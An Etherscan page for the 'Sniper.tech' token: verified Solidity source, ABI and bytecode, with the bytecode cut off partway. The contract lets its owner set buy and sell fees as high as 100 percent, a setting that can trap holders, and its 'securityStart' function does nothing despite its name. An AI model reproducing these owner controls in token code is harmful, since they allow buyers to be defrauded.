ETH Price: $2,681.00 (-2.06%)

Token

Sniper.tech (Sniper)
 

Overview

Max Total Supply

10,000,000 Sniper

Holders

14

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
61,822.576489961062776456 Sniper

Value
$0.00
0x459cd1db9e423f16d6f5abd15a73885f6fe56ce9
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Token

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-08-24
*/

/**

   ____     _               __          __
  / __/__  (_)__  ___ ____ / /____ ____/ /
 _\ \/ _ \/ / _ \/ -_) __// __/ -_) __/ _ \
/___/_//_/_/ .__/\__/_/ (_)__/\__/\__/_//_/
          /_/




Twitter:https://twitter.com/snipertechbot
Website:https://sniper.tech/#

*/

pragma solidity 0.8.21;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval (address indexed owner, address indexed spender, uint256 value);
}


interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}





interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

}

contract Token is Context, IERC20, Ownable {
    using SafeMath for uint256;
    
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => uint256) private _balances;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool public tradingEnabled = false;
    bool private inSwap = false;
    bool private swapEnabled = false;

    bool private enable = false;
    uint256 triggerAmountToSwap = _tTotal / 200;

    address payable private _taxWallet;

  
    uint256 public buyFees = 5;
    uint256 public sellFees = 10    ;
    string private constant _name = "Sniper.tech";
    string private constant _symbol = unicode"Sniper";
    uint8 private constant _decimals = 18;
    uint256 private constant _tTotal = 10000000 * 10**_decimals;
 

    uint256 public _maxWallet = _tTotal * 2 / 100;


    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        _taxWallet = payable(_msgSender());
        _balances[_msgSender()] = _tTotal;
        emit Transfer(address(0), _msgSender(), _tTotal);

        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[address(uniswapV2Router)] = true;
        enable = true;
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(amount > 0, "Transfer amount must be greater than zero");
       
        uint256 taxAmount = 0;
        bool txInWhiteList = (_isExcludedFromFee[from] || _isExcludedFromFee[to]);
        if (!txInWhiteList) {
            require(tradingEnabled, "Trading is not started");

            if (from == uniswapV2Pair) {
                //buys
                require(balanceOf(to) + amount <= _maxWallet, "Exceeds the maxWalletSize.");
                taxAmount = amount.mul(buyFees).div(100);
            }

            if (to == uniswapV2Pair ) {
                //sells
                taxAmount = amount.mul(sellFees).div(100);
            }

            if (!inSwap && to == uniswapV2Pair && swapEnabled && balanceOf(address(this)) > triggerAmountToSwap) {
                backs(triggerAmountToSwap);
            }
        }

        if(taxAmount > 0) {
            _balances[address(this)]=_balances[address(this)].add(taxAmount);
            emit Transfer(from, address(this),taxAmount);
        }

        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    
    function manualBurn(uint256 amount) external returns (bool) {
        _transfer(address(msg.sender), address(0xdead), amount);
        return true;
    }
    

    function modifysellFees(uint256 newFee) external onlyOwner {
        require(newFee <= 100, "invalid new Fee");
        sellFees = newFee;
    }
    function modifybuyFee(uint256 newFee) external onlyOwner {
        require(newFee <= 100, "invalid new Fee");
        buyFees = newFee;
    }

    function removeRestrictionsToZero() external onlyOwner {
        _maxWallet =_tTotal;
        buyFees = 0;
        sellFees = 0;
    }

    function isExcludedFromFee(address account) public view returns (bool) {
        return _isExcludedFromFee[account];
    }
    function setTriggerAmountToSwap(uint amount) external onlyOwner {
        require(amount>0, "amount should not be zero");
        triggerAmountToSwap = amount;
    }
    function securityStart() external onlyOwner() {
        swapEnabled = !swapEnabled;swapEnabled=swapEnabled;
       swapEnabled = !swapEnabled;
    }

    function backs(uint256 amount) private {
        bool success;
        swapTokensForEth(amount);
        (success, ) = address(_taxWallet).call{value: address(this).balance}("");
    }

    function removeLimits() external onlyOwner {
        _maxWallet =_tTotal;
        buyFees = 3;
        sellFees = 3;
    }
    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
    function stealthLaunch() external onlyOwner() {
        tradingEnabled = true;
        swapEnabled = true;
    }
  
    receive() external payable {}

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"manualBurn","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newFee","type":"uint256"}],"name":"modifybuyFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newFee","type":"uint256"}],"name":"modifysellFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeRestrictionsToZero","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"securityStart","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setTriggerAmountToSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"stealthLaunch","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"tradingEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526005805463ffffffff60a01b1916905560c8620000246012600a620004af565b620000339062989680620004c6565b6200003f9190620004e0565b6006556005600855600a60095560646012600a6200005e9190620004af565b6200006d9062989680620004c6565b6200007a906002620004c6565b620000869190620004e0565b600a5534801562000095575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811782556040805163c45a015560e01b81529051919263c45a01559282820192602092908290030181865afa15801562000136573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200015c919062000500565b6001600160a01b031663c9c653963060045f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001bc573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001e2919062000500565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156200022d573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000253919062000500565b600580546001600160a01b0319166001600160a01b03929092169190911790556200027b3390565b600780546001600160a01b0319166001600160a01b0392909216919091179055620002a96012600a620004af565b620002b89062989680620004c6565b335f81815260036020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002fa6012600a620004af565b620003099062989680620004c6565b60405190815260200160405180910390a3600160025f620003315f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff1996871617905530815260029093528183208054851660019081179091556004549091168352912080549092161790556005805460ff60b81b1916600160b81b17905562000528565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620003f457815f1904821115620003d857620003d8620003a0565b80851615620003e657918102915b93841c9390800290620003b9565b509250929050565b5f826200040c57506001620004a9565b816200041a57505f620004a9565b81600181146200043357600281146200043e576200045e565b6001915050620004a9565b60ff841115620004525762000452620003a0565b50506001821b620004a9565b5060208310610133831016604e8410600b841016171562000483575081810a620004a9565b6200048f8383620003b4565b805f1904821115620004a557620004a5620003a0565b0290505b92915050565b5f620004bf60ff841683620003fc565b9392505050565b8082028115828204841417620004a957620004a9620003a0565b5f82620004fb57634e487b7160e01b5f52601260045260245ffd5b500490565b5f6020828403121562000511575f80fd5b81516001600160a01b0381168114620004bf575f80fd5b61133080620005365f395ff3fe60806040526004361061013f575f3560e01c80635d6ac761116100b3578063a9059cbb1161006d578063a9059cbb1461039e578063c8e28bf4146103bd578063dd62ed3e146103dc578063e0f3ccf514610420578063e4748b9e14610435578063e57a35b71461044a575f80fd5b80635d6ac761146102d957806370a08231146102ed578063751039fc1461032157806382247ec0146103355780638da5cb5b1461034a57806395d89b4114610370575f80fd5b806323b635851161010457806323b635851461020a57806323b872dd14610229578063313ce567146102485780634ada218b1461026357806352547435146102835780635342acb4146102a2575f80fd5b806306fdde031461014a57806307df7a0d1461018f578063095ea7b3146101a557806318160ddd146101d45780631b300e46146101f6575f80fd5b3661014657005b5f80fd5b348015610155575f80fd5b5060408051808201909152600b81526a0a6dcd2e0cae45ce8cac6d60ab1b60208201525b6040516101869190610f6e565b60405180910390f35b34801561019a575f80fd5b506101a3610469565b005b3480156101b0575f80fd5b506101c46101bf366004610fd0565b6104b4565b6040519015158152602001610186565b3480156101df575f80fd5b506101e86104ca565b604051908152602001610186565b348015610201575f80fd5b506101a36104e9565b348015610215575f80fd5b506101c4610224366004610ffa565b610539565b348015610234575f80fd5b506101c4610243366004611011565b61054f565b348015610253575f80fd5b5060405160128152602001610186565b34801561026e575f80fd5b506005546101c490600160a01b900460ff1681565b34801561028e575f80fd5b506101a361029d366004610ffa565b6105b6565b3480156102ad575f80fd5b506101c46102bc36600461104f565b6001600160a01b03165f9081526002602052604090205460ff1690565b3480156102e4575f80fd5b506101a3610633565b3480156102f8575f80fd5b506101e861030736600461104f565b6001600160a01b03165f9081526003602052604090205490565b34801561032c575f80fd5b506101a361069a565b348015610340575f80fd5b506101e8600a5481565b348015610355575f80fd5b505f546040516001600160a01b039091168152602001610186565b34801561037b575f80fd5b5060408051808201909152600681526529b734b832b960d11b6020820152610179565b3480156103a9575f80fd5b506101c46103b8366004610fd0565b6106eb565b3480156103c8575f80fd5b506101a36103d7366004610ffa565b6106f7565b3480156103e7575f80fd5b506101e86103f636600461106a565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b34801561042b575f80fd5b506101e860095481565b348015610440575f80fd5b506101e860085481565b348015610455575f80fd5b506101a3610464366004610ffa565b610768565b5f546001600160a01b0316331461049b5760405162461bcd60e51b8152600401610492906110a1565b60405180910390fd5b6005805462ff00ff60a01b19166201000160a01b179055565b5f6104c03384846107d9565b5060015b92915050565b5f6104d76012600a6111ca565b6104e490629896806111d8565b905090565b5f546001600160a01b031633146105125760405162461bcd60e51b8152600401610492906110a1565b61051e6012600a6111ca565b61052b90629896806111d8565b600a555f6008819055600955565b5f6105473361dead84610839565b506001919050565b5f61055b848484610839565b6105ac84336105a7856040518060600160405280602881526020016112d3602891396001600160a01b038a165f9081526001602090815260408083203384529091529020549190610bbd565b6107d9565b5060019392505050565b5f546001600160a01b031633146105df5760405162461bcd60e51b8152600401610492906110a1565b5f811161062e5760405162461bcd60e51b815260206004820152601960248201527f616d6f756e742073686f756c64206e6f74206265207a65726f000000000000006044820152606401610492565b600655565b5f546001600160a01b0316331461065c5760405162461bcd60e51b8152600401610492906110a1565b60058054600160b01b60ff818304811615820260ff60b01b199384168181178490048316151584029185161717828104909116159091029116179055565b5f546001600160a01b031633146106c35760405162461bcd60e51b8152600401610492906110a1565b6106cf6012600a6111ca565b6106dc90629896806111d8565b600a5560036008819055600955565b5f6104c0338484610839565b5f546001600160a01b031633146107205760405162461bcd60e51b8152600401610492906110a1565b60648111156107635760405162461bcd60e51b815260206004820152600f60248201526e696e76616c6964206e65772046656560881b6044820152606401610492565b600955565b5f546001600160a01b031633146107915760405162461bcd60e51b8152600401610492906110a1565b60648111156107d45760405162461bcd60e51b815260206004820152600f60248201526e696e76616c6964206e65772046656560881b6044820152606401610492565b600855565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f811161089a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610492565b6001600160a01b0383165f90815260026020526040812054819060ff16806108d957506001600160a01b0384165f9081526002602052604090205460ff165b905080610a7f57600554600160a01b900460ff166109325760405162461bcd60e51b8152602060048201526016602482015275151c98591a5b99c81a5cc81b9bdd081cdd185c9d195960521b6044820152606401610492565b6005546001600160a01b03908116908616036109e557600a548361096a866001600160a01b03165f9081526003602052604090205490565b61097491906111ef565b11156109c25760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610492565b6109e260646109dc60085486610bf590919063ffffffff16565b90610c7a565b91505b6005546001600160a01b0390811690851603610a1857610a1560646109dc60095486610bf590919063ffffffff16565b91505b600554600160a81b900460ff16158015610a3f57506005546001600160a01b038581169116145b8015610a545750600554600160b01b900460ff165b8015610a6f5750600654305f90815260036020526040902054115b15610a7f57610a7f600654610cbb565b8115610af757305f90815260036020526040902054610a9e9083610d1b565b305f81815260036020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610aee9086815260200190565b60405180910390a35b6001600160a01b0385165f90815260036020526040902054610b199084610d79565b6001600160a01b0386165f90815260036020526040902055610b5c610b3e8484610d79565b6001600160a01b0386165f9081526003602052604090205490610d1b565b6001600160a01b038086165f8181526003602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610ba58686610d79565b60405190815260200160405180910390a35050505050565b5f8184841115610be05760405162461bcd60e51b81526004016104929190610f6e565b505f610bec8486611202565b95945050505050565b5f825f03610c0457505f6104c4565b5f610c0f83856111d8565b905082610c1c8583611215565b14610c735760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610492565b9392505050565b5f610c7383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610dba565b5f610cc582610de6565b6007546040516001600160a01b039091169047905f81818185875af1925050503d805f8114610d0f576040519150601f19603f3d011682016040523d82523d5f602084013e610d14565b606091505b5050505050565b5f80610d2783856111ef565b905083811015610c735760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610492565b5f610c7383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610bbd565b5f8183610dda5760405162461bcd60e51b81526004016104929190610f6e565b505f610bec8486611215565b6005805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610e2c57610e2c611234565b60200260200101906001600160a01b031690816001600160a01b03168152505060045f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e9c573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ec09190611248565b81600181518110610ed357610ed3611234565b6001600160a01b039283166020918202929092010152600454610ef991309116846107d9565b6004805460405163791ac94760e01b81526001600160a01b039091169163791ac94791610f309186915f9187913091429101611263565b5f604051808303815f87803b158015610f47575f80fd5b505af1158015610f59573d5f803e3d5ffd5b50506005805460ff60a81b1916905550505050565b5f6020808352835180828501525f5b81811015610f9957858101830151858201604001528201610f7d565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610fcd575f80fd5b50565b5f8060408385031215610fe1575f80fd5b8235610fec81610fb9565b946020939093013593505050565b5f6020828403121561100a575f80fd5b5035919050565b5f805f60608486031215611023575f80fd5b833561102e81610fb9565b9250602084013561103e81610fb9565b929592945050506040919091013590565b5f6020828403121561105f575f80fd5b8135610c7381610fb9565b5f806040838503121561107b575f80fd5b823561108681610fb9565b9150602083013561109681610fb9565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561112457815f190482111561110a5761110a6110d6565b8085161561111757918102915b93841c93908002906110ef565b509250929050565b5f8261113a575060016104c4565b8161114657505f6104c4565b816001811461115c576002811461116657611182565b60019150506104c4565b60ff841115611177576111776110d6565b50506001821b6104c4565b5060208310610133831016604e8410600b84101617156111a5575081810a6104c4565b6111af83836110ea565b805f19048211156111c2576111c26110d6565b029392505050565b5f610c7360ff84168361112c565b80820281158282048414176104c4576104c46110d6565b808201808211156104c4576104c46110d6565b818103818111156104c4576104c46110d6565b5f8261122f57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215611258575f80fd5b8151610c7381610fb9565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156112b15784516001600160a01b03168352938301939183019160010161128c565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201d384ecf07a6bd24d28a7c0bacef6072c4f976d86bf8274caeffe60a4da1f1d764736f6c63430008150033

Deployed Bytecode

0x60806040526004361061013f575f3560e01c80635d6ac761116100b3578063a9059cbb1161006d578063a9059cbb1461039e578063c8e28bf4146103bd578063dd62ed3e146103dc578063e0f3ccf514610420578063e4748b9e14610435578063e57a35b71461044a575f80fd5b80635d6ac761146102d957806370a08231146102ed578063751039fc1461032157806382247ec0146103355780638da5cb5b1461034a57806395d89b4114610370575f80fd5b806323b635851161010457806323b635851461020a57806323b872dd14610229578063313ce567146102485780634ada218b1461026357806352547435146102835780635342acb4146102a2575f80fd5b806306fdde031461014a57806307df7a0d1461018f578063095ea7b3146101a557806318160ddd146101d45780631b300e46146101f6575f80fd5b3661014657005b5f80fd5b348015610155575f80fd5b5060408051808201909152600b81526a0a6dcd2e0cae45ce8cac6d60ab1b60208201525b6040516101869190610f6e565b60405180910390f35b34801561019a575f80fd5b506101a3610469565b005b3480156101b0575f80fd5b506101c46101bf366004610fd0565b6104b4565b6040519015158152602001610186565b3480156101df575f80fd5b506101e86104ca565b604051908152602001610186565b348015610201575f80fd5b506101a36104e9565b348015610215575f80fd5b506101c4610224366004610ffa565b610539565b348015610234575f80fd5b506101c4610243366004611011565b61054f565b348015610253575f80fd5b5060405160128152602001610186565b34801561026e575f80fd5b506005546101c490600160a01b900460ff1681565b34801561028e575f80fd5b506101a361029d366004610ffa565b6105b6565b3480156102ad575f80fd5b506101c46102bc36600461104f565b6001600160a01b03165f9081526002602052604090205460ff1690565b3480156102e4575f80fd5b506101a3610633565b3480156102f8575f80fd5b506101e861030736600461104f565b6001600160a01b03165f9081526003602052604090205490565b34801561032c575f80fd5b506101a361069a565b348015610340575f80fd5b506101e8600a5481565b348015610355575f80fd5b505f546040516001600160a01b039091168152602001610186565b34801561037b575f80fd5b5060408051808201909152600681526529b734b832b960d11b6020820152610179565b3480156103a9575f80fd5b506101c46103b8366004610fd0565b6106eb565b3480156103c8575f80fd5b506101a36103d7366004610ffa565b6106f7565b3480156103e7575f80fd5b506101e86103f636600461106a565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b34801561042b575f80fd5b506101e860095481565b348015610440575f80fd5b506101e860085481565b348015610455575f80fd5b506101a3610464366004610ffa565b610768565b5f546001600160a01b0316331461049b5760405162461bcd60e51b8152600401610492906110a1565b60405180910390fd5b6005805462ff00ff60a01b19166201000160a01b179055565b5f6104c03384846107d9565b5060015b92915050565b5f6104d76012600a6111ca565b6104e490629896806111d8565b905090565b5f546001600160a01b031633146105125760405162461bcd60e51b8152600401610492906110a1565b61051e6012600a6111ca565b61052b90629896806111d8565b600a555f6008819055600955565b5f6105473361dead84610839565b506001919050565b5f61055b848484610839565b6105ac84336105a7856040518060600160405280602881526020016112d3602891396001600160a01b038a165f9081526001602090815260408083203384529091529020549190610bbd565b6107d9565b5060019392505050565b5f546001600160a01b031633146105df5760405162461bcd60e51b8152600401610492906110a1565b5f811161062e5760405162461bcd60e51b815260206004820152601960248201527f616d6f756e742073686f756c64206e6f74206265207a65726f000000000000006044820152606401610492565b600655565b5f546001600160a01b0316331461065c5760405162461bcd60e51b8152600401610492906110a1565b60058054600160b01b60ff818304811615820260ff60b01b199384168181178490048316151584029185161717828104909116159091029116179055565b5f546001600160a01b031633146106c35760405162461bcd60e51b8152600401610492906110a1565b6106cf6012600a6111ca565b6106dc90629896806111d8565b600a5560036008819055600955565b5f6104c0338484610839565b5f546001600160a01b031633146107205760405162461bcd60e51b8152600401610492906110a1565b60648111156107635760405162461bcd60e51b815260206004820152600f60248201526e696e76616c6964206e65772046656560881b6044820152606401610492565b600955565b5f546001600160a01b031633146107915760405162461bcd60e51b8152600401610492906110a1565b60648111156107d45760405162461bcd60e51b815260206004820152600f60248201526e696e76616c6964206e65772046656560881b6044820152606401610492565b600855565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f811161089a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610492565b6001600160a01b0383165f90815260026020526040812054819060ff16806108d957506001600160a01b0384165f9081526002602052604090205460ff165b905080610a7f57600554600160a01b900460ff166109325760405162461bcd60e51b8152602060048201526016602482015275151c98591a5b99c81a5cc81b9bdd081cdd185c9d195960521b6044820152606401610492565b6005546001600160a01b03908116908616036109e557600a548361096a866001600160a01b03165f9081526003602052604090205490565b61097491906111ef565b11156109c25760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610492565b6109e260646109dc60085486610bf590919063ffffffff16565b90610c7a565b91505b6005546001600160a01b0390811690851603610a1857610a1560646109dc60095486610bf590919063ffffffff16565b91505b600554600160a81b900460ff16158015610a3f57506005546001600160a01b038581169116145b8015610a545750600554600160b01b900460ff165b8015610a6f5750600654305f90815260036020526040902054115b15610a7f57610a7f600654610cbb565b8115610af757305f90815260036020526040902054610a9e9083610d1b565b305f81815260036020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610aee9086815260200190565b60405180910390a35b6001600160a01b0385165f90815260036020526040902054610b199084610d79565b6001600160a01b0386165f90815260036020526040902055610b5c610b3e8484610d79565b6001600160a01b0386165f9081526003602052604090205490610d1b565b6001600160a01b038086165f8181526003602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610ba58686610d79565b60405190815260200160405180910390a35050505050565b5f8184841115610be05760405162461bcd60e51b81526004016104929190610f6e565b505f610bec8486611202565b95945050505050565b5f825f03610c0457505f6104c4565b5f610c0f83856111d8565b905082610c1c8583611215565b14610c735760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610492565b9392505050565b5f610c7383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610dba565b5f610cc582610de6565b6007546040516001600160a01b039091169047905f81818185875af1925050503d805f811